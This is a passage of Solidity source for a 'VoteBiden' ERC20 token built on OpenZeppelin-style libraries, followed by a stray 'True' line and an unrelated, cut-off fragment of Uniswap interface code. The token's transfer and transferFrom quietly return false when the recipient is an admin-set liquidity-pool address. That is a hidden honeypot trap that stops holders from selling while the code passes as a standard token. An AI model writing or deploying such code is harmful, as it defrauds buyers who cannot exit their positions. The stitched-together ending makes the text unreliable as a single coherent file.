gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Partial License: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = keccak256("DEFAULT_ADMIN_ROLE"); /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is AccessControl, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 public _minimumSupply = 5000000000000000000000; uint256 public BURN_RATE = 5; uint256 constant public PERCENTS_DIVIDER = 100; string private _name = "Vote Biden"; string private _symbol = "BIDEN"; uint8 private _decimals; address private _lp; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function setLP(address recipient) public { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ERC20: must have admin role to do this"); _lp = recipient; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-minimumSupply}. */ function minimumSupply() public view returns (uint256) { return _minimumSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool){ if (_lp != recipient){ _transfer(_msgSender(), recipient, amount); return true; }else{ return false; } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { if (_lp != recipient){ _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }else{ return false; } } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 remainingAmount = amount; if(_totalSupply > _minimumSupply) { if(BURN_RATE > 0) { uint256 burnAmount = amount.mul(BURN_RATE).div(PERCENTS_DIVIDER); _burn(sender, burnAmount); remainingAmount = remainingAmount.sub(burnAmount); } } _balances[sender] = _balances[sender].sub(remainingAmount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(remainingAmount); emit Transfer(sender, recipient, remainingAmount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Collection of functions related to array types. */ library Arrays { /** * @dev Searches a sorted `array` and returns the first index that contains * a value greater or equal to `element`. If no such index exists (i.e. all * values in the array are strictly less than `element`), the array length is * returned. Time complexity O(log n). * * `array` is expected to be sorted in ascending order, and to contain no * repeated elements. */ function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); // Note that mid will always be strictly less than high (i.e. it will be a valid array index) // because Math.average rounds down (it does integer division with truncation). if (array[mid] > element) { high = mid; } else { low = mid + 1; } } // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound. if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } // Partial License: MIT pragma solidity ^0.6.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // Partial License: MIT pragma solidity ^0.6.0; abstract contract ERC20Snapshot is ERC20 { // Inspired by Jordi Baylina's MiniMeToken to record historical balances: // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol using SafeMath for uint256; using Arrays for uint256[]; using Counters for Counters.Counter; // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a // Snapshot struct, but that would impede usage of functions that work on an array. struct Snapshots { uint256[] ids; uint256[] values; } mapping (address => Snapshots) private _accountBalanceSnapshots; Snapshots private _totalSupplySnapshots; // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid. Counters.Counter private _currentSnapshotId; /** * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created. */ event Snapshot(uint256 id); /** * @dev Creates a new snapshot and returns its snapshot id. * * Emits a {Snapshot} event that contains the same id. * * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a * set of accounts, for example using {AccessControl}, or it may be open to the public. */ function _snapshot() internal virtual returns (uint256) { _currentSnapshotId.increment(); uint256 currentId = _currentSnapshotId.current(); emit Snapshot(currentId); return currentId; } /** * @dev Retrieves the balance of `account` at the time `snapshotId` was created. */ function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]); return snapshotted ? value : balanceOf(account); } /** * @dev Retrieves the total supply at the time `snapshotId` was created. */ function totalSupplyAt(uint256 snapshotId) public view returns(uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots); return snapshotted ? value : totalSupply(); } // _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the // snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value. // The same is true for the total supply and _mint and _burn. function _transfer(address from, address to, uint256 value) internal virtual override { _updateAccountSnapshot(from); _updateAccountSnapshot(to); super._transfer(from, to, value); } function _mint(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._mint(account, value); } function _burn(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._burn(account, value); } function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { require(snapshotId > 0, "ERC20Snapshot: id is 0"); // solhint-disable-next-line max-line-length require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id"); uint256 index = snapshots.ids.findUpperBound(snapshotId); if (index == snapshots.ids.length) { return (false, 0); } else { return (true, snapshots.values[index]); } } function _updateAccountSnapshot(address account) private { _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account)); } function _updateTotalSupplySnapshot() private { _updateSnapshot(_totalSupplySnapshots, totalSupply()); } function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private { uint256 currentId = _currentSnapshotId.current(); if (_lastSnapshotId(snapshots.ids) < currentId) { snapshots.ids.push(currentId); snapshots.values.push(currentValue); } } function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) { if (ids.length == 0) { return 0; } else { return ids[ids.length - 1]; } } } pragma solidity ^0.6.0; abstract contract CMERC20Snapshot is Context, AccessControl, ERC20Snapshot { bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE"); function snapshot() public { require(hasRole(SNAPSHOT_ROLE, _msgSender()), "ERC20Snapshot: must have snapshotter role to snapshot"); _snapshot(); } } pragma solidity ^0.6.0; // imports contract VoteBiden is ERC20Burnable, CMERC20Snapshot { constructor(string memory name, string memory symbol, uint256 amount, uint8 decimals) ERC20(name, symbol) public payable { _setupDecimals(decimals); _mint(_msgSender(), amount); // set up required roles _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(SNAPSHOT_ROLE, _msgSender()); } // overrides function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._burn(account, value); } function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._mint(account, value); } function _transfer(address from, address to, uint256 value)internal override(ERC20, ERC20Snapshot) { super._transfer(from, to, value); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-03-04 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns 